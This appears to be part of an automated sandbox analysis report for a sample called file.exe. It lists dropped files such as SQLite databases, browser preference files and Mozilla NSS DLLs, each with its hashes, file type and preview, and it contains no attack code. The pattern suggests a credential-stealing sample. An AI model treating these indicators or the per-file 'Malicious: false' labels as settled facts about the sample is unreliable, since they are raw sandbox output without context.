SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCGDAFCFHIDBGDHCFCBFBFIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDAAKEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.267474812161435
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM9SA1LyKOMq+8iP5GDHP/0jMVum0:Kq+n0J991LyKOMq+8iP5GLP/0B
MD5:	F4F97B2889D1DBD4D0A208E3AF5DB023
SHA1:	FEDD6AAA14547104B28E73C938857620C5563C84
SHA-256:	DD78828A61A0EFA223E12A5B39B486283757C95B45252BAC2A34F5A018AF5B42
SHA-512:	902D80598B32396C03FF63AD47C46E0B7CCB3B245DFE85B3D69325A5EA90DE6B3E5FE6B394E05F2B410AD33549ED191C05A412A0813AEAEBD2FB7A3F1404F3DA
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIECAAKECFHIECBKJDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JEBKEHJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEBKEHJJDAAAAKECBGHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKEBGCGHIDHCBFHIDGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\09a0d519-82a5-4d03-98b4-71e2cf60118a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46225
Entropy (8bit):	6.086077488535575
Encrypted:	false
SSDEEP:	768:rpMkbJrT8IeQc5C9798i1zNt5fpmcOnPLXcz4H8Du3CioaJDSgzMMd6qD47u30T:FMk1rT8HK93f1iCiFoatSmd6qE7h
MD5:	B78553FFCD0056B496D99DE41BE4F9C0
SHA1:	15D7577D3CBC42C1080C508072D901D7DDF24248
SHA-256:	4D5A2A87D7F2A2A28085E5EDBB9A5F20EA58E142BD43FAE5D5C28AF306553EAD
SHA-512:	95FD8EF605C2DEB01793A89D0C0547E8E65C2BEEE2133E7B43D7E5113D132BF8D0569E1723A637979B724E5755E20CC923169C191921CBED38BEAA4BD5437965
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377223173122071","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"644e4608-f341-4b54-9dc8-de967dc06409"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732749577"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\41e9cbad-68f6-4afd-920c-a2f595e9ec55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46148
Entropy (8bit):	6.086155423278882
Encrypted:	false
SSDEEP:	768:rpMkbJrT8IeQc5dK798i1zNt5fs9mcOnPLXcz4H8Du3CioaJDSgzMMd6qD47u30T:FMk1rT8H1K3fsZiCiFoatSmd6qE7h
MD5:	688F6922A8EACF84EA3B1855BA5856B0
SHA1:	9CE5937F9466CA0E0D8C109DAE773CC1A9C8A6D3
SHA-256:	D5C51EA93AB54029A394FDCCB331D76BC1CE12C14BB2892BDF5AD103C56F03D5
SHA-512:	38CD14EBB95E8EA82DDD0300EE66CFCA91A8ABA8825BF23254BBD0BF7B765F144AEFEC2BC57668AFD3BD65CB56023B0ADF85BE2972C03D2FAB0A9F019FE46515
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377223173122071","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"644e4608-f341-4b54-9dc8-de967dc06409"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732749577"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\682488a2-61d5-43a8-999c-0618971830bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46101
Entropy (8bit):	6.086470071557479
Encrypted:	false
SSDEEP:	768:rpMkbJrT8IeQc5dK7Y8i1zNt5fs9mcOnPLXcz4H8Du3CioaJDSgzMMd6qD47u30T:FMk1rT8H1K6fsZiCiFoatSmd6qE7h
MD5:	E8BDC39ACA4FB9592E051DFD1022914E
SHA1:	19CC00636187F6C16A41CFCA24272D777E79D616
SHA-256:	07CB1016389634A78E1B3A4FA34BA5008779E75069141A8B76AF1843CFDFA6AC
SHA-512:	5D2E3DD547ACA543B6DF1ED51E26D9987B5659CE2DA7F63B622EF94A9E6BFBB61E432B456E309D9D7C9F132103AD4EB19654C57D9FC6D6B233BFE031E00D6FAD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377223173122071","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"644e4608-f341-4b54-9dc8-de967dc06409"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732749577"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6bec3945-6b4f-4add-a1d5-694790496e41.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46225
Entropy (8bit):	6.0860749889503865
Encrypted:	false
SSDEEP:	768:rpMkbJrT8IeQc5CK798i1zNt5fpmcOnPLXcz4H8Du3CioaJDSgzMMd6qD47u30T:FMk1rT8HKK3f1iCiFoatSmd6qE7h
MD5:	993F719F8557AEFF232530C91A04306E
SHA1:	6AA4A1994E92E27D04473748054D2310BDD6E5CB
SHA-256:	6E9D8FAF21E1A61E71DC8C3E56735BB61B07235D9373F0D92FEEC254F797A1CB
SHA-512:	C022E41C671E0F0E46E6AEA17A225F718B1C4CA99B0719AD191D0F10BBBBCF51B2C680A938EE8EB93AACB5B992BEC52787D70B1C6102D52DA6EBA24265F08550
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377223173122071","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"644e4608-f341-4b54-9dc8-de967dc06409"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732749577"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\6c48a9c5-c819-4014-85cc-448f6c2c10d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
